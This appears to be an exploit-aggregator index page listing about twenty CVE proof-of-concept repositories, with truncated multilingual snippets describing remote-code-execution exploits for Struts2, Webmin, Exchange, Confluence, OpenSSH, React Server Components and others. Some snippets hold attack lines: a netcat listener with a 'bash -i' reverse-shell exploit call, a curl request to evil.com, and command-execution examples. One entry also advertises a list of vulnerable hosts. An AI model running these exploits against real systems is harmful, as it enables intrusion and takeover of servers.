CVE-2024-28397-js2py-Sandbox-Escape

CVE-2024-28397-js2py-Sandbox-Escape Analisi della vulnerabilità js2py Introduzione js2py è un popolare pacchetto Python in grado di valutare codice JavaScript all'interno dell'interprete Python. Viene utilizzato da vari web scraper per analizzare il codice JavaScript presente nei siti web. Esiste...

CVE-2018-11776

CVE-2018-11776 Umgebung für CVE-2018-11776 / S2-057 Demo Server starten root@kitploit: $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Exploit root@kitploit: $ nc -l 10000 or nc -lp 10000 root@kitploit: $ python3 exploit.py localhost:30080 'bash -i &...

Chakra-CVE-2019-0567

Chakra-CVE-2019-0567 chakracore फ्रेमवर्क में एक टाइप कन्फ्यूज़न बग का POC जो कोड निष्पादन की ओर ले जाता है। कॉनर मैकगैर के ब्लॉग पर आधारित https://connormcgarr.github.io/ नोट: Offsets और ROP gadgets आपके द्वारा उपयोग किए जाने वाले विंडोज संस्करण पर निर्भर करते हैं, इसलिए यह आपके लिए काम नहीं कर...

CVE-2022-22947

CVE-2022-22947 PoC per CVE-2022-22947 python CVE-202222947POC.py http://targetip:port/ Riferimenti a PoC e articoli di diversi esperti 1.https://github.com/chaosec2021/CVE-2022-22947-POC 2.https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/...

react2shell-interactive

React2Shell - CVE-2025-55182 PoC Interattivo Shell interattivo per sfruttare CVE-2025-55182, una vulnerabilità di Remote Code Execution nei React Server Components. Disclaimer Questo strumento è fornito esclusivamente per scopi EDUCATIVI e di TEST DI SICUREZZA AUTORIZZATI. Usalo solo su sistemi d...

CVE-2026-38526-PoC

CVE-2026-38526 | Krayin CRM v2.2.x Authentifizierte RCE - Uneingeschränkter PHP-Datei-Upload über TinyMCE Beschreibung CVE-2026-38526 ist eine kritische authentifizierte Remote-Codeausführungs-Schwachstelle, die Webkul Krayin CRM v2.2.x betrifft. Die Schwachstelle existiert im...

CVE-2019-15107

CVE-2019-15107 Webmin 1.890 Esecuzione di codice remoto non autenticata Questo script è progettato per sfruttare la vulnerabilità di esecuzione di comandi non autenticata in Webmin 1.890. Ti permette di eseguire comandi arbitrari su un server Webmin target o di ottenere una shell inversa. Utilizz...

CVE-2024-31982

CVE-2024-31982 Java SSTI - führt zu RCE root@kitploit: async async=falsegroovyprintln"Successful Injection"/groovy/ root@kitploit: GET...

CVE-2025-55182-Exploit

React2Shell CVE-2025-55182 - Laboratorio Vulnerabile Docker Un'applicazione Next.js intenzionalmente vulnerabile che dimostra l'esecuzione di codice remoto RCE tramite gestione insicura dei processi figlio. Questo laboratorio è progettato per scopi educativi e test di sicurezza. ⚠️ AVVISO: NON...

CVE-2025-31324

Informazioni ░█▄█░█▀█░█░█░█░█░█░█░▀█▀░█▀█░█▀█░█▀▄░█░█ ░█░█░█▀▀░█░█░█░█░█▄█░░█░░█░█░█░█░█▀▄░░█░ ░▀░▀░▀░░░▀▀▀░▀▀▀░▀░▀░▀▀▀░▀░▀░▀░▀░▀░▀░░▀░ N U L L T R A C E // NullTrace :: Nessun log. Nessun rumore. Solo segnale. // ----- FIRMA----- Chiave: ssh-rsa AAAAB3...NullKey...KFA== Impronta:...

CVE-2020-14882

CVE-2020-14882 CVE-2020-14882/14883/14750 USO 1. clone este repositório 2. instale a biblioteca requests 3. python3 14882.py EXEMPLO root@kitploit: λ python3 14882.py -u http://...:7001 -c whoami + Command success result: win-t63ko18er74\administrator referência...

CVE-2022-24086-RCE

CVE-2022-24086-RCE Strumento di sfruttamento CVE-2022-24086 scritto in Python 3 compatibile con elenchi di URL/IP. Questo download include un elenco di oltre 334.300 host potenzialmente vulnerabili secondo shodan.io e scansioni personali. Questo strumento NON è gratuito per prevenire abusi. Al...

CVE-2020-0618_DETECTION

CVE-2020-0618 - PoC de Detecção de RCE no Microsoft SQL Server Reporting Services SSRS 📜 Descrição Este é um PoC simples para detectar CVE-2020-0618 , uma vulnerabilidade de execução remota de código que afeta o Microsoft SQL Server Reporting Services SSRS. A vulnerabilidade existe devido à...

CVE-2023-36745

CVE-2023-36745 Microsoft Exchange Server CVE-2023-36745 RCE PoC. Beispiel: root@kitploit: python3 exp.py -H exchange.webdxg.com -u webdxg.com\dddai -p 4IDF7LAU -s \192.168.237.131\Shares\ -c calc.exe Der Befehl wird an powershell -e übergeben...

Atlassian_CVE-2022-26134

Confluence Pre-Auth Remote Code Execution via OGNL Injection CVE-2022-26134 Il 30 maggio 2022, un'organizzazione chiamata Volexity ha identificato una vulnerabilità di RCE non autenticata con punteggio 9.8 su NIST nelle edizioni Confluence Server e Data Center di Atlassian...

CVE-2024-4040

CVE-2024-4040 Una vulnerabilità di server side template injection in CrushFTP in tutte le versioni precedenti alla 10.7.1 e 11.1.0 su tutte le piattaforme consente a utenti remoti non autenticati di leggere file dal filesystem al di fuori della VFS Sandbox, aggirare l'autenticazione per ottenere...

CVE-2026-23744-PoC

CVE-2026-23744-PoC PoC sulla vulnerabilità in MCP Server. Automatizzato per la parte POST con il corpo corretto. percorso vulnerabile: root@kitploit: /api/mcp/connect metodo tramite curl: root@kitploit: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

CVE-2024-6387-Exploit-POC

CVE-2024-6387-Exploit-POC Questo repository contiene un Proof of Concept POC per sfruttare la vulnerabilità CVE-2024-6387 su server SSH che eseguono versioni vulnerabili di OpenSSH. Cos'è un POC? Un POC, o Proof of Concept, è un programma o script che dimostra lo sfruttamento di una vulnerabilità...

CVE-2024-36401

CVE-2024-36401 Vulnerabilità di Remote Code Execution RCE nella valutazione delle espressioni dei nomi delle proprietà GeoServer è un server open source che consente agli utenti di condividere e modificare dati geospaziali. Nelle versioni precedenti alla 2.23.6, 2.24.4 e 2.25.2, diversi parametri...

CVE-2022-24112

CVE-2022-24112 CVE-2022-24112: Apache APISIX apisix/batch-requests RCE nuclei template: CVE-2022-24112.yaml L'essenza di questa vulnerabilità è simile a CVE-2021-45232: entrambe aggirano l'autorizzazione o sfruttano l'assenza di autorizzazione per eseguire comandi tramite filterfunc o script in u...